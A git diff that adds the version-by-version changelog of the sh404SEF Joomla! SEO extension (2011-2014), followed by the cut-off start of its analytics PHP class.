sh404sef 4 changelog + + (2014-07-01 17:04 - build #1791) + + + +-------------------------------------------------------------------------------- + [ 2014-07-01 ] Version 4.4.4.1791 +-------------------------------------------------------------------------------- + + + [chg] Added back configuration saving betwen uninstall/install Fixes + #327 + [chg] Canonical tag now includes leading scheme and host See #342 + + [bug] Memcache cache driver may eat up all available memcache memory + and slow down + [bug] Social buttons plugin gets published back on update (if user + manually disabled it) + [bug] Medium-level security issue for logged-in administrators only, on + Joomla! 2.x only, input not sufficiently sanitized + [bug] Configuration for type of cache handler is not saved + + +-------------------------------------------------------------------------------- + [ 2014-06-06 ] Version 4.4.3.1770 +-------------------------------------------------------------------------------- + + + [bug] Fatal error on php versions less than 5.3, on multilingual sites + + +-------------------------------------------------------------------------------- + [ 2014-06-05 ] Version 4.4.2.1767 +-------------------------------------------------------------------------------- + + + [bug] Some Virtuemart product details url may be blank under some + combinations of menu items linking to categories and products + + +-------------------------------------------------------------------------------- + [ 2014-06-04 ] Version 4.4.1.1762 +-------------------------------------------------------------------------------- + + + [new] Per url Google publisher tag, in addition to the pre-existing + global publisher tag + [new] Google Analytics IP anonymization + + [chg] More css for Facebook buttons, handling more templates + [chg] Clean internal caches upon installation, to avoid wrong new + versions display when switching between editions + [chg] Added a workaround for bug in Community Builder, not using Joomla + API to fetch some request variables + [chg] Hack to workaround Kunena custom routing method for some urls, + including pagination links, in Kunena 3.0.3+ + [chg] Added canonical url when exporting urls to file + [chg] Moved router encodesegments() method to a helper, avoid issues + for some extensions running onAfterInitialise event several times + [chg] Added small bottom margin to social buttons, in case they wrap at + low width + + [bug] Virtuemart product links can be wrong on multilingual sites under + some combinations of menu items direct links Fixes #325 + [bug] Links to items in Joomla! fake "Uncategorised" category do not + comply with "insert menu item title" config setting + [bug] Social buttons could be displayed on featured articles view even + for articles which category was excluded + [bug] Sometimes Itemid-only links may have wrong language code in SEF + urls Fixes #323 + [bug] Cannot switch language when using /index.php/ and Joomla config + does not match sh404SEF config Fixes #315 + [bug] Joomla! language detection doesn't work anymore Fixes #324 + [bug] Aliases for home page are saved and works, but are not displayed + on the edit url popup + [bug] Inserted tags for social buttons are not replaced when 'Only on + canonical page' param is on Fixes weeblr-dev/sh404sef-issues#319 + + +-------------------------------------------------------------------------------- + [ 2014-04-09 ] Version 4.4.0.1725 +-------------------------------------------------------------------------------- + + + [new] Added Linkedin share button to social buttons list + [new] Added warning messages on multilingual sites that Joomla! + languagefilter system plugin should now be enabled + [new] Analytics snippets now in JLayout, can be overriden in site + templates + [new] Adjust to changes in Joomla! routing API in J! 3.3 + [new] Now checking Joomla! redirects table before declaring a 404, in + case some redirects existed prior to sh404sef usage + [new] Support for Google+ authorship information + [new] Added Twitter Cards support, global and per page + [new] Added optional Facebook Share button to social buttons Fixes 294 + + [chg] Simplified social buttons markup and css, better styling + [chg] Moved social buttons to JLayout, so that they can be overriden + from templates. Works in both J2.x and J3.x + [chg] Performance: check if shurl exists only once + [chg] Pagination doesn't work any more with Kunena 3.0.4 Fixes #310 + [chg] Better detection of content urls when displaying social buttons + (Twitter, Facebook, G+) + [chg] Added toolbar access to configuration on all views + [chg] List of components to always leave as non-sef is now in remote + configuration + [chg] Better 3rd-party extensions compatiblity when "using Joomla! + router" or "leaving as non-sef" + [chg] Better multilingual compatiblity + [chg] Updated German language files - Thanks Alex H. + [chg] Updated Russian language files - Thanks Alex + [chg] Updated Swedish language files - Thanks Kristian + [chg] Updated language files (French, German) + [chg] Updated French translation + [chg] Increased tweet via account field in social plugin settings + [chg] CSS tweaking of social buttons + [chg] Warnings in Analytics manager, new in PHP 5.4 + + [bug] May display PHP warnings rendering pagination on multilingual + sites + [bug] Don't display \ in OpenGraph tag when page title has a $n + characters + [bug] Duplicate urls may disappear from url manager display when + customizing main url + [bug] Missing files and folders are not displayed as errors on control + panel + [bug] Showing error message upon url deletion, even though all went + fine + [bug] Wrong redirect from non-sef to sef on site using /index.php/ + rewriting mode + [bug] Fatal error when exporting meta data Fixes #308 + [bug] Warning displayed on some purge operations when file cache has + not been enabled yet + [bug] Wrong path to javascript file in Analytics manager, result in + analytics not loading + [bug] Remote configuration not read anymore, wrong url + + +-------------------------------------------------------------------------------- + [ 2014-01-23 ] Version 4.3.0.1671 +-------------------------------------------------------------------------------- + + + [new] Addes support for Google Tags Manager + [new] One click update either through Joomla! updater or built-in + auto-updater + [new] Added Google Analytics Universal snippet handling + + [chg] Account for upcoming Googlebot mobile user agent change + [chg] Updated Dutch translation - Thanks JoomlaDownloads + [chg] Updated Russian translation - Thanks Alex Smirnov + [chg] Make sure default ACL record is written to database upon + installation + [chg] Make sure default ACL record is written to database upon + installation + [chg] Added back remote configuration option to configuration page + [chg] Removed deprecated view code + [chg] More explicit error messages when saving config, urls, duplicates + + [bug] Error message not displayed when server is not responding at all + to new version or security stats requests + [bug] Select a redirect for 404 button is not working Fixe #305 + [bug] 404 records may not be purged when using the purge button + [bug] Urls may not be purged when using the purge button + [bug] Customizing url does not add old url to aliases list + [bug] Version number of newly installed version is not always displayed + on main control panel + [bug] Redirect from /index.php/something to /something even if set to + NOT use mod_rewrite Fixes #299 + [bug] Logged in users are not allowed to view sites in offline mode + Fixes #240, fixes #297 + + +-------------------------------------------------------------------------------- + [ 2013-11-02 ] Version 4.2.1.1586 +-------------------------------------------------------------------------------- + + + [bug] Introduced fatal bug in Joomla! versions pre-3.2 when preparing + release for Joomla! 3.2 + + +-------------------------------------------------------------------------------- + [ 2013-11-01 ] Version 4.2.0.1582 +-------------------------------------------------------------------------------- + + + [new] Automatic 301 redirect when trying to access an existing url with + /index.php/ while url rewriting is enabled + + [chg] J! 3.2 backward compatibility break: ConfigModelComponent + refactoring, moving around, now requires to load a different file + [chg] Added workaround for J!3.2 API backward compat break + [chg] Add language information on urls created using "simple" mode, in + case it's missing and we're on a multilingual site Fixes #216 + [chg] Let Akeeba go through offline mode. Not as secure as could be. + [chg] Added a workaround for bug in Virtuemart, creating fake request + variables, would prevent custom meta data to be inserted normally + Fixes #264 + [chg] Skip versionning component to allow front end editing in J! 3.2+ + [chg] Strict standards compliance, don't use JFilterInput statically + [chg] Added version check to prevent method name conflict due to change + in J! 3.2 router + [chg] Adjustments to changes in Joomla! 3.2 API (JTable interface) + [chg] Joomla! 3.2 change in API + [chg] Updated Pagination class to latest J! 3.1.x code + [chg] Pagination not displayed in Joomla! 3 on some pages. Added back + HTML prev and next tags onto pagination links Fixes #255 + [chg] Now using consistently remote_addr. Fixes #198 + [chg] Adjust to Kunena deprecating kimport function, would cause fatal + error + [chg] Joomla! does not update cached values in JRequest, resulting in + incorrect input if JRequest is used to read the "task" input + before a component is rendered, if the controller.task syntax is + used + [chg] J3.1 changed name of items associations parameter fixes #251 + + [bug] Incoming non-sef linking to a non-existing article is redirected + to home instead of letting Joomla! return a 404 Fixes #285 + [bug] Article submitted from frontend may not be stored in the proper + category Fixes #291 + [bug] Manual custom url is not displayed in url manager if there is a + 404 by the same name and the custom url already has duplicates + Fixes #273 + [bug] Notice error display under some circumstances upon creation of + some Virtuemart urls + [bug] Wrong default language read from Joomla! config, may result in + wrong language used to build sef urls, on multilingual sites + [bug] Wrong default language detected with Joomfish on multilingual + sites Fixes #267 + [bug] Not reading cookie path and domain to set language cookie on + multilingual sites + [bug] Specifying a blacklisted IP with wildcards (*) blocks too many + users Fixes #204 + [bug] Not redirecting anymore from /index.php to / Fixes #188 + [bug] Only partial analytics reports displayed in analytics manager on + Joomla! 2.5.x Fixes #269 + [bug] Does not comply with LanguageFilter plugin setting "Use default + langauge" on multilingual sites fixes #261 + + +-------------------------------------------------------------------------------- + [ 2013-04-25 ] Version 4.1.0.1559 +-------------------------------------------------------------------------------- + + + [chg] Workaround for PHP bytecode cache systems that fail on valid PHP + code + [chg] Workaround for backward compatiblity issue in installer + introduced in Joomla! 3.1 + + [bug] On multilingual sites (J! 3.0+), hreflang tags are missing + [bug] Added check to avoid error if sh404SEF system plugin has been + disabled by user + [bug] Enforcing www option does not work when site is in a subfolder + + +-------------------------------------------------------------------------------- + [ 2013-03-07 ] Version 4.0.3.1552 +-------------------------------------------------------------------------------- + + + [new] Characters counters are now also added to Joomla! backend pages + where page title and page description can be edited by users + [new] Added characters counters on page title and page description + fields of all sh404SEF admin pages; will display recommended + characters count ranges and show remaining characters count. + + +-------------------------------------------------------------------------------- + [ 2013-02-26 ] Version 4.0.2-rc.1544 +-------------------------------------------------------------------------------- + + + [chg] Updated Bulgarian, German, Spanish, French, Hungarian, Italian, + Dutch, Romanian, Russian and Swedish translations + [chg] Improved canonical tag handling, to manage multiple tags that can + be inserted by Joomla! 3+ and other extensions. Added a + configuration setting to enable/disable this feature + [chg] Program configuration is now overridable from remote + configuration + + [bug] Fixed security issue in Open Graph implementation + + +-------------------------------------------------------------------------------- + [ 2013-02-18 ] Version 4.0.1 - Joomla! 3 compatible release candidate +-------------------------------------------------------------------------------- + + + [chg] Main control panel now only loads global visits graphic, other + infos are only in Analytics manager + [chg] Added a check to similar urls plugin to prevent warnings + appearing under specific but undefined circumstances Fixes #215 + [chg] Removed useless markup on control panel, under Access stats, when + Debug to log file is not activated + [chg] Allow aliases with % characters Fixes #217 + [chg] A canonical tag is now always included in com_content article + pages (removes tracking vars, print flag) + [chg] Removed unused shSimpleLogger class + + [bug] Error message is not displayed when one tries to save a new SEF + identical to an existing one + [bug] Security stats are not updated correctly on main control panel + [bug] Installable extension plugins are not loaded automatically Fixes + #208 + [bug] Error page document is not saved inside the proper content + category + + +-------------------------------------------------------------------------------- + [ 2012-11-26 ] Version 3.7.0.1485 +-------------------------------------------------------------------------------- + + + [bug] Analytics exclude IP list is cleared when saving sh404SEF general + configuration fixes #190 + [bug] Not cleaning up properly requests for Facebook channel urls + + +-------------------------------------------------------------------------------- + [ 2012-11-01 ] Version 3.6.4.1481 +-------------------------------------------------------------------------------- + + + [bug] Analytics snippet not inserted for non-logged in users Fixes #186 + + +-------------------------------------------------------------------------------- + [ 2012-10-24 ] Version 3.6.3.1478 +-------------------------------------------------------------------------------- + + + [chg] Updated Swedish translation + [chg] Updated Russian translation + [chg] Updated French translation + [chg] Updated Hungarian translation + + [bug] Adjusted to removal by Joomla of usertype. Would cause analytics + snippet to be inserted even if if it was disabled for some user + groups. Added a better selector, now showing a direct list of + user groups, allowing simple selection. Fixes 174 + [bug] URLs may not be removed from disk cache when deleted one at a + time from backend Url manager + [bug] 404 page category created with wrong parent_id, may not be + available + [bug] Incorrect version check + + +-------------------------------------------------------------------------------- + [ 2012-10-12 ] Version 3.6.2.1465 +-------------------------------------------------------------------------------- + + + [new] Added check and message in case user has disabled either shLib + system plugin or sh404sef system plugin + + [chg] Added a protection against invalid Virtuemart non-sef urls, + missing product_id + [chg] Added protection against pages with invalid UTF-8 characters, + that were breaking SEO features + + [bug] Leave URL as non-sef doesn't work (regression) + [bug] Posisble PHP fatal error when shLib plugin is not installed + before sh404SEF plugin (due to older installations, possibly by + other extensions using shLib) + [bug] Incorrect date tag in plugins manifest files, release date was + not written to manifest when building the release + [bug] Automatic redirects from non-sef to sef don't work + [bug] Virtuemart router.php file does not create sef links for category + pages, when they are linked to a menu item. Instead it returns an + Itemid. We now create the SEF link in such cases + [bug] Release date is not inserted in manifest file + [bug] Insert news site unique id in urls only inserts article id, not + full unique if (introduced in 3.6.0) + [bug] Possible display of warning when performing security log files + garbage collection if security log files folder has not been + created yet + + +-------------------------------------------------------------------------------- + [ 2012-09-18 ] Version 3.6.0.1422 +-------------------------------------------------------------------------------- + + + [new] Added Joomla! version check before installing new version + [new] Added a resource manager to handle shared programming libraries + amongst several extensions + [new] Added shared memory caching (memcache, APC, etc) for sef/non-sef + url storage, and for database queries + [new] Pin it button nows also handle K2 independant images in items + Tracker #155 + [new] Added global Joomla! ACL permissions option + [new] Added Virtuemart 2+ plugin Tracker #144 + [new] Added "gclid" (from Google AdWords) to list of tracking vars that + are stripped before doing checks for custom page title, + descriptions, etc Added also to remote configuration file, so all + users with "Enable remote configuration" set to Yes will benefit + immediately, without having to upgrade + [new] Open graph url tag is now cleaned from possible Google analytics + tracking vars Tracker #146 + [new] Implemented "Vary" http headers when automatic template switching + is enabled for mobile devices Tracker #136 + [new] Mobile template is now presented to Googlebot-Mobile crawler, if + mobile device detection is enabled Tracker #131 + [new] Added detection of a query var for automatic mobile template + switcher. Now webmaster can add + "sh404SEF_override_mobile_detection=force_mobile" or + "sh404SEF_override_mobile_detection=force_desktop" to a link on a + page, allowing user to override mobile device detection by + sh404SEF. This is maintained by a cookie for subsequent clicks on + the same page, and a rel="canonical" link is added to avoid + duplicate content + [new] Added method for 3rd-party developers to obtain SEF urls from + inside the backend of a Joomla! site: + Sh404sefHelperGeneral::getSefFromNonSef( $nonSefUrl, + $fullyQualified = true, $xhtml = false, $ssl = null) - Method is + autoloaded, no need to include file Tracker #60 + + [chg] Removed useless Kunena parameters + [chg] Installer now checks version compatibility with any previously + installed shared resource (such as shlib) + [chg] Updated Russian, Swedish, Italian, Romanian, French, Spanish, + Dutch, German and Spanish language files + [chg] Updated Open Graph data implementation according to latest + Facebook specs Tracker #154 + [chg] Export urls wizard now uses "slow server" settings, to make sure + any number of urls can be exported w/o exceeding server resources + Tracker #119 + [chg] Cleaned new urls storage process (getSefLocation()), use only db + helper, exceptions and removed redundant code (should also + improve perf in some edge cases) + [chg] Moved analytics display temp files to /media dir + [chg] Simplified 404 error page edit page, now using consistently the + same article category ('sh404sef custom content') Tracker #151 + [chg] Removed uneeded css + [chg] Moved all log files to Joomla! standard log directory Tracker #50 + [chg] Now using shLib shared programming library + [chg] Moved database error handling entirely to either exceptions, or + dual exception/errornum handling + [chg] sef_404::getCategories() now deprecated, write call to log file. + Use Sh404sefModelSlugs model instead + [chg] Dropped remaining uses of Joomla! DS constant + [chg] Updated plugin to handle Kunena 2.x Tracker #145 + [chg] Removed uneeded Docman configuration options Tracker #152 + [chg] Parsing incoming requests with Joomla! router (when user asked + so) is now done last, as Joomla! router jumps to 404 page if it + does not recognize a request, preventing us from doing shUrl and + custom redirects checks + [chg] Now disabling Joomla! caching when displaying 404 page, to be + able insert our custom text (current url, and similar urls + suggestions) Also: language detection may not work when full page + caching is on. + [chg] Added default value to default language function, in case default + language has not been saved in configuration + [chg] Comply with PHP Strict standards + [chg] Added a workaround for Joomla! loading its platform language + strings before the SEF url has been decoded. As pagination + strings are stored inside platform language files, this may + result under some circumstances in pagination strings (Start, + end, ...) not being translated Tracker #143 + + [bug] Some regular expressions were not UTF-8 compatible - Thks + G.Papadakis + [bug] Sef and non-sef urls are not displayed when editing a shurl or + meta data + [bug] Offline display template lacks css when site is in a + sub-directory of server + [bug] On multilingual sites, nowonly try to redirect user to her + language on homepage, as otherwise we wouldn't know what the + correct destination would be + [bug] Pagination may not work on some components (those leaving page + number out of the SEF url, or not using standard Joomla! + JPagination object) when user has not set SEF urls on in global + configuration Tracker #142 + [bug] Possible infinite redirect loop when some custom query vars are + added to a homepage request + [bug] Wrong page number in page title when a blog view is used as front + page Tracker #141 + [bug] Prevent notice error when displaying social buttons on a totally + empty article (!) + + +-------------------------------------------------------------------------------- + [ 2012-06-27 ] Version 3.5.1.1299 +-------------------------------------------------------------------------------- + + + [chg] Updated Bulgarian, French, Hungarian, Russian and Swedish + translations + + [bug] Homepage custom meta data is not displayed anymore Tracker #132 + [bug] Featured articles view does not get proper url on second or more + languages, on multilingual sites (reported by Simon Gendrin) + Tracker #134 + + +-------------------------------------------------------------------------------- + [ 2012-06-14 ] Version 3.5.0.1295 +-------------------------------------------------------------------------------- + + + [new] Reworked rel="prev" and rel="next" head tags, comply now with + Google guidelines and improves paginated content handling by + search engines + [new] Added Pinterest support to social buttons AND Analytics reports. + Pinning actions are tracked inside Google Analytics and your site + control panel like other social buttons Tracker #102 + [new] Google Anlytics backend integration now using version 2.4 of API + - as version 2.3 will be shut down in july 2012 + + [chg] Updated Bulgarian, German, Spanish, French, Hungarian, Italian, + Dutch, Romanian, Russian and Swedish translations + [chg] Removed uneeded language parameter Tracker #125 + [chg] Added check to prevent some notice error display when there is no + default language version of an article or category, on + multilingual sites + [chg] Added check to prevent some notice error display when there is no + default language version of an article or category, on + multilingual sites + [chg] Added check to prevent notice error display if user completely + delete the "Page" text from configuration Tracker #113 + [chg] Added workaround for bug in Joomla! front end com_media image + browser, probably using relative urls Tracker #120 + [chg] Adjust 404 errors logging in case server is running IPV6 + [chg] Some changes for Falang compatibility + [chg] CSS tweaking to the wizards display + [chg] Updated Russian translation (Alex Smirnov) + + [bug] SEF url is saved to database when doing a 301 automatic redirect + from non-sef to sef, when set to use Joomla! router, which should + not save sef url to db Tracker #114 + [bug] Under some circumstances, cache file lock file may not be deleted + and cache not used anymore Tracker #115 + [bug] Incorrect paginated urls on home page of some multilingual sites + [bug] Social buttons link is not correct when using "no .htaccess" + rewrite mode Tracker #121 + [bug] QRCode creator does not add /index.php/ prefix when not using a + .htaccess file Tracker #116 + [bug] Under some circumstances, social buttons can be displayed on + category pages, even of set to display only on canonical page + Tracker #108 + [bug] Incorrect call to framework getMenu() method. No visible effect + though + [bug] Collect memory & time would not work, need update to J! 2.5 + format Tracker #107 + + +-------------------------------------------------------------------------------- + [ 2012-02-13 ] Version 3.4.6.1269 +-------------------------------------------------------------------------------- + + + [new] Added 301 auto-redirect to protect against pages of your site + which have been Facebook-liked using old method, that can + generate fb_xd_fragment and fb_xd_bust duplicate content issue + Tracker #95 + [new] Implemented channelUrl for Facebook like/send button, to protect + against fb_xd_fragment and fb_xd_bust SEO issues Tracker #95 + [new] You can now select exactly which social button to display on a a + tag by tag basis, using 'type' attribute in + {sh404sef_social_buttons} tags + [new] Added canonical tag handling for J! 2.5 new com_finder "Smart + search" + [new] Workaround for issue in J! 2.5: cannot use categories model from + outside of com_content + + [chg] Updated Spanish translation by Hertak + [chg] Simple title and better robots meta on 404 page + [chg] Don't show Open graph data on 404 pages + [chg] Removed Virtuemart 1.x plugin + [chg] Better detection of item category, when displaying social + buttons, will work also when article is displayed inside a module + Tracker #103 + [chg] Replaced deprecated function in Mosets Tree plugin Tracker #97 + [chg] Updated Russian translation (Alex Smirnov) + [chg] Updated Romanian translation (Valentin Barbu) + [chg] Updated Italian translation (Andrea Castrovilli) + [chg] Updated German translation (Jürgen Hörmann) + [chg] Updated Bulgarian translation (Kiril Yoviev) + [chg] Cleaned up all language files, key deduplication, ready to upload + to translation server + [chg] Moved some of the social buttons javascript links to end of body + instead of end of document head Tracker #385 + [chg] Added a check to handle name conflict between Mighty Touch and + JomSocial, avoiding fatal errors Tracker #393 + [chg] Changed default layout for Twitter and G+, to use shURls and hide + clicks count Tracker #81 + [chg] Can now modify URLs in a case-sensitive manner Tracker #379 + [chg] Updated Dutch translation by Gerard van Enschut Tracker #88 + [chg] Update to Swedish translation, by JokrSolutions + [chg] Added a check in case user enters a space as an alias to an URL + Tracker #87 + + [bug] Prevent creating useless links to 404 page, when site is crawled + [bug] Outbound links images are not inserted into page if site is in + root dir Tracker #96 + [bug] file cache TTL is multiplied by 86400 seconds (a day) instead of + 3600 (an hour) Tracker #98 + [bug] A shurl is created for homepage on multilingual sites Tracker + #105 + [bug] Infinite redirect loop when site is accessed by crawlers on + multilingual sites when autoredirect from non-sef to sef is on + Tracker #104 + [bug] May generate loop redirects when adding aliases identical to + original url, except for the letter case + [bug] Custom canonical URL is not saved if it is the only custom meta + data for an url Tracker #94 + [bug] Kunena plugin: new post from category doesn't have a distinct URL + Tracker #93 + [bug] Rewriting prefix is lost when redirecting incoming url to the + same with correct case Tracker #91 + [bug] Open graph fb:admins tag should use "property" field, not "name" + [bug] When "Use default" is selected as Object type option for specific + urls, the Opengraph data object type is not inserted Tracker #395 + [bug] Batch-modifying page title or description would erase other meta + data previously set, if any Tracker #86 + [bug] Added test to avoid duplicating records when Apply and Save + button are pressed in sequence when adding custom meta data to a + URL Tracker #85 + + +-------------------------------------------------------------------------------- + [ 2011-12-13 ] Version 3.4.4.1226 +-------------------------------------------------------------------------------- + + + [new] Added option to use shURL instead of full SEF url in social + buttons. Especially useful for Tweeting, to better use those 140 + characters Tracker #67 + [new] Can now restrict display of social buttons to only some content + categories Tracker #76 + + [chg] Removed display of unused hit counter Tracker #80 + [chg] Updated French translation + [chg] Removed autoredirect from Joomla SEF to SEF Tracker #78 + [chg] When saving data from Title and metas manager, if one url is + incorrect, we now attempt to save remaining data, in case some of + it is correct and can be saved + [chg] We now delete a meta data record if user happens to clear all + meta data fields, save space and avoid having a meta data icon + show in url manager when meta data have been cleared Tracker #75 + [chg] Social buttons should not be displayed when printing Joomla! + articles Tracker #74 + [chg] Added some styles to social buttons background + [chg] Added a check to prevent recording empty urls in 404 list Tracker + #390 + + [bug] Display mysql error when using slow server mode and sorting urls + by duplicates, meta or alias Tracker #389 + [bug] Popup window too small when editing some urls, poor display + [bug] If Joomla! full page cache is activated, social buttons may + sometimes not be inserted, or may not work + [bug] Disable social buttons insertion if global "Activate SEO + management" is disabled by user + [bug] In case of incoming requests for a non-sef url, variables from + the home page link could be added to this non-sef + + +-------------------------------------------------------------------------------- + [ 2011-11-22 ] Version 3.4.3.1212 +-------------------------------------------------------------------------------- + + + [new] Updated Romanian translation + + [chg] Updated Swedish translation by BR Kristian + [chg] Added workaround for JDispatcher::...handler not recognized when + running an opcache system + + [bug] Notices can be displayed if site runs with sh404sef disabled and + meta data management is activated + [bug] Could display a notice error trying to redirect a 404 url, when + there is no suggested sef url found + + +-------------------------------------------------------------------------------- + [ 2011-11-19 ] Version 3.4.2.1210 +-------------------------------------------------------------------------------- + + + [chg] Added protections so that social features are not triggered on + 404 pages + + +-------------------------------------------------------------------------------- + [ 2011-11-19 ] Version 3.4.1.1207 +-------------------------------------------------------------------------------- + + + [bug] Database error when upgrading from a previous version (site would + work fine). Immediately installing a second time fixes the error. + + +-------------------------------------------------------------------------------- + [ 2011-11-18 ] Version 3.4.0.1205 +-------------------------------------------------------------------------------- + + + [new] Analytics reports now includes social engagement information: + Facebook likes, Tweet, 1+ actions + [new] Social buttons can be inserted automatically in Joomla! articles, + below title or at end of article + [new] Added creation of social networking buttons, handling for + Facebook Like and Send, Tweeter, Google +1 and the new Google + Page badge. Will place social buttons anywhere in content, other + extensions, modules or even templates + [new] Added automatic creation and management of Open Graph meta data, + to allow better indexing by Facebook, Google+ and other social + networks + [new] Added more protection against fatal error if user accidentally + disable sh404SEF system plugin Tracker #375 + [new] Added tracking of 404 pages on Google Analytics - you'll get 404s + count on sh404SEF Analytics report, as well as on Google + Analytics panel + [new] Added "All categories" options to insert article id setting + Tracker #53 + [new] 404 error page mechanism now compatible with Joomla! multilingual + feature. Can have 404 error page per language + + [chg] Re-enabled automatic language redirect upon visitor first visit, + as workaround to counter bug in Firefox and IE9 was found for + this to work properly Tracker #59 + [chg] Group meta tag insertion when possible, better performance on + very large pages + [chg] Added support for multilingual menu item associations, and a new + option to Enable/disable multilingual support in sh404SEF. Use + instead of Enabling/Disabling Joomla! Language filter plugin + Tracker #57 + [chg] Simplified similar urls plugin database query, to reduce overhead + Tracker #55 + [chg] Moved sh404SEF 404 error page content from the "Uncategorised" + category to our own, as localized versions of Joomla! would call + the "Uncategorise" category differently, making it impossible to + save or retrieve our error page. The change is done by install + script, and existing error pages will be moved over to new + category automatically + [chg] Start and end pagination links now also use html5 rel and next + tags as needed Tracker #372 + [chg] Updated css on site main control panel sh404SEFmodule + [chg] Clarified one Swedish language tooltip + [chg] Moved some options (itemid management) to core instead of plugin, + so that they can be activated even if extension-specific plugin + does not implement them + + [bug] Whitelisting user agent doesn't prevent anti-flooding to operate + [bug] Notice errors could be displayed if no similar urls found when + trying to redirect a 404 + [bug] On multipage articles, when not displaying the table of content, + first page has 2 different urls created Tracker #56 + [bug] under some circumstances, custom page title and meta data may not + be inserted in the page Tracker #47 + [bug] getCategories function called statically, but not declared so, + could cause some notices errors on some servers + [bug] When auto-redirecting non-sef to SEF url, some get variables may + not be passed along on some occasions + [bug] Itemid is lost on "Edit article" icons for Joomla content Tracker + #49 + [bug] Kunena plugin: wrong url for editing profile when "Short url to + profile" option is enabled Tracker #369 + [bug] On 404 error pages, if user removes the "similar urls" text from + the template, the marker for the faulty requested urls is not + replaced either Tracker #370 + [bug] Regression: custom meta_ext plugin not used anymore + + +-------------------------------------------------------------------------------- + [ 2011-09-05 ] Version 3.3.0.1122 +-------------------------------------------------------------------------------- + + + [new] Now providing a QRCode for each SEF url, in URL manager Tracker + #319 + [new] Integrated Swedish translation, by BR Kristian Tracker #39 + [new] Improved SEO for paginated content: now use HTML5 prev and next + tags on all paginated links Tracker #36 + [new] Added option to completely exclude category name from page title + (on Joomla! content) Tracker #38 + + [chg] Added max url lenght on custom urls input fields + [chg] Replaced a hardcoded text on control panel with language file + string + [chg] Removed ability to not translate urls (on multilingual sites), as + this would cause errors, and we'll have to wait for Joomfish to + build a general solution Tracker #42 + [chg] Updated com_banners plugin Tracker #43 + + [bug] Sometimes a warning could be displayed when redirecting an alias + with an added query string + [bug] Aliases that are non-sef urls are not taken into account + [bug] Always append Itemid to SEF url would not work, moved language + string to another file to fix Tracker #44 + [bug] Exact error message not displayed when saving data in Title and + metas manager, displays generic message instead 'Something went + wrong on the server' Tracker #41 + + +-------------------------------------------------------------------------------- + [ 2011-07-19 ] Version 3.2.0.1108 +-------------------------------------------------------------------------------- + + + [new] Joomla 1.7 compat: load mootols in backend + + [chg] Compat with 1.7: adjusted to modified JDatabase class + replacePrefix() method, would prevent shUrls to be created + [chg] Added protection against sites with no default menu items, or + default menu items set to not be publicly visible. Would cause a + fatal error Tracker #33 + [chg] Reduced url max length, very long urls could cause 404 Tracker + #32 + [chg] Added compatibility layer for shRouter::shGetPageInfo() + + [bug] Installation of 404 page article was commented out! + [bug] Aliases with a trailing / are not taken into a account + [bug] Preview links in backend does not use /index.php/ if in 'no + htaccess' mode + [bug] Error doc configuration page would only list sh404SEF default + error doc, would miss other Uncategorised articles in select list + Tracker #35 + [bug] Missing shIncludeMetaPlugin() function in page content rewriting + feature Tracker #31 + [bug] When auto-redirect from non-sef to sef is activated, it is not + possible to edit articles or weblinks on the front end Tracker + #30 + [bug] Still using old #__redirection table when checking new shurl + creation, could prevent creation of shurl in some cases + + +-------------------------------------------------------------------------------- + [ 2011-06-30 ] Version 3.1.5.1098 +-------------------------------------------------------------------------------- + + + [new] Properly handling multilanguage, the SEO way. Warning: Joomla! + LanguageFilter system plugin must be DISABLED!! Tracker #26 + [new] Updated 3rd-party SEF url plugins installer to J! 1.6 format + [new] Handling of Joomla! multi-lingual features, still need some + tweaking for home page links Tracker #26 + [new] Automatic handling of canonical urls for print version of joomla + articles + [new] Added backward compatiblity class 'shRouter' for using J! 1.5 + plugins in J! 1.6 Tracker #24 + + [chg] Kunena plugin largely updated with help from Matias Griese, + increased performance and compatibility with all Kunena versions + Tracker #355 + [chg] Some SEF links may no be rewritten when Joomla SEF setting is + off, as the SEF plugin checks directly Joomla config instead of + asking router for current SEF mode Tracker #27 + [chg] Updated 'Home page URL' parameter tooltip + [chg] Updated links to new support site url + + [bug] Bad query on uninstalling sh404SEF while removing database tables + [bug] May generate fatal error on page 2 or more of Blog view, when no + specific number of items per page has been set at menu item level + (ie using only global params) + [bug] Using old $database global in com_newsfeeds and mosets tree + plugin, would cause fatal error Tracker #28 + [bug] Sometimes urls consisting only of an Itemid were not properly + handled + [bug] Jomsocial frontpage and profile page have same url when user not + logged in + [bug] SEF url not created when a category is included in url + [bug] Missing category for the * language when using more than one + language can result in empty sef url + [bug] On url list, first attempt to reach page 2 or more after logging + in stays on page one Tracker #359 + [bug] Fatal error creating sef urls for Community Builder Tracker #23 + + +-------------------------------------------------------------------------------- + [ 2011-06-07 ] Version 3.1.4.1078 +-------------------------------------------------------------------------------- + + + [chg] Changed SEF url to user edit profile Tracker #22 + + [bug] "view" parameter not revoved from SEF urls for Search component + Tracker #21 + [bug] Id not removed from sef url when showing "All categories" Tracker + #19 + [bug] Fatal error in com_contact plugin Tracker #18 + + +-------------------------------------------------------------------------------- + [ 2011-06-03 ] Version 3.1.3.1073 +-------------------------------------------------------------------------------- + + + [new] For Uncategorized items, user can now select to either use only + item title in url (recommended) or insert menu item title Tracker + #12 + [new] Registration link was not SEF + + [bug] Sometimes Meta description is not inserted by sh404sef Tracker + #17 + [bug] Insert id in article url does not work when "All categories" is + selected Tracker #14 + [bug] Create an account link cause fatal error Tracker #13 + + +-------------------------------------------------------------------------------- + [ 2011-05-31 ] Version 3.1.2.1071 +-------------------------------------------------------------------------------- + + + [new] Reworked short urls system, now called shURL, faster and shorter. + Can be created without having to purge existing SEF urls. Prevent + collisions with existing SEF or aliases, bad words filtering + [new] Added shortlinks tag configuration page + [new] Component, module and plugins install/uninstall, complying with + preverve configuration settings + + [chg] Separated forced update flag between version check and remote + config check + [chg] Converted old languages files to Joomla! language file format + (ini) + [chg] Version checker can now handle multiple version file servers + + [bug] Error in database class, would cause purging urls to fail + [bug] Can't use pagination links or other actions on meta manager after + using the save button Tracker #336 + [bug] Issue with arrays in urls, when using only non-sef urls diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseanalytics.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseanalytics.php new file mode 100644 index 00000000..fefff983 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseanalytics.php @@ -0,0 +1,306 @@ +_config = $config; + $this->_options = $options; + + // prepare a default response object + $response = new stdClass(); + $response->status = true; + $response->statusMessage = JText::_('COM_SH404SEF_CLICK_TO_CHECK_ANALYTICS'); + $response->note = ''; + + // connect to server and fetch data + try + { + $rawResponse = $this->_fetchData(); + } + catch (Exception $e) + { + $response->status = false; + $response->statusMessage = $e->getMessage(); + return $response; 